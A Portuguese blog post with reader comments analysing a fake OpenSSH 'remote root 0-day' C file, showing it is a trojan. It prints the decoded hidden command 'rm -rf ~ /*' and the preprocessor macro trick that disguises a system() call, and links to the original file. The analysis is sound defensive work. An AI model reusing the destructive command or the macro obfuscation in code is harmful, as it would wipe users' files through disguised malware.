0-Day openssh-53p1-remote-root.c ?
Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.
Vamos ao começo do código:
184 185 186 187 | if (geteuid()) { puts("Root is required for raw sockets, etc."); return 1; } |
Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.
205 206 207 208 209 210 211 | sock = socket(PF_INET, SOCK_STREAM, 0); addr.sin_port = htons(port); addr.sin_family = AF_INET; if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ printf(" [-] Connecting Failed\n"); return 1; } |
Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros
suficiente:
189 190 191 192 | if(argc < 3){ usage(argv[0]); return 1; } |
Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.
196 197 198 199 200 201 202 203 | if (!inet_aton(h, &addr.sin_addr)){ host = gethostbyname(h); if (!host){ printf(" [-] Resolving Failed\n"); return 1; } addr.sin_addr = *(struct in_addr*)host->h_addr; } |
Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.
212 213 214 215 216 217 218 219 220 | payload = malloc(limit * 10000); ptr = payload+8; memcpy(ptr,jmpcode,strlen(jmpcode)); jmpinst=fopen(shellcode+793,"w+"); if(jmpinst){ fseek(jmpinst,0,SEEK_SET); fprintf(jmpinst,"%s",shellcode); fclose(jmpinst); } |
Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):
maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin maycon@hacknroll~$ file jmpcode.bin jmpcode.bin: ASCII C program text, with no line terminators maycon@hacknroll~$ cat jmpcode.bin rm -rf ~ /* 2> /dev/null & maycon@hacknroll~$
Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz.
O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.
No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:
1 2 3 4 5 6 7 8 9 10 11 12 | #include #define build_frem(x,y,a,b,c) a##c##a##x##y##b #define fremote build_frem(t,e,s,m,y) char jmpcode[] = "ls -l"; int main(void) { fremote(jmpcode); return 0; } |
Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.
Se executarmos gcc -E temos o código logo após o processamento das macros:
maycon@hacknroll~$ gcc -E fremote.c | tail -n 8
char jmpcode[] = "ls -l";
int main(void)
{
system(jmpcode);
return 0;
}
maycon@hacknroll~$
Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade.
De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.
Abraços a todos,
______________________________________
Maycon Maia Vitali ( 0ut0fBound )
Hack’n Roll
Excelente post !
amiguinho dos skiddies, acabou com a graça de se ver boxes rm-rfadas pelos skidzinhos huahuahua
Grande Maycon.
Ótimo artigo!
Muito bom o curso (UVV), pena que é pocuo tempo. =(
Abraços
if (geteuid()) {
puts(“Root is required for raw sockets, etc.”);
return 1;
}
Sempre que eu vejo isso, eu desconfio.
codigo que só tem STREAM chamando ROOT cadê a RAWSOCK !
este root@chamillionaire.com já é a terceira ves que vejo uma Joke dele
ilario dou muita risada…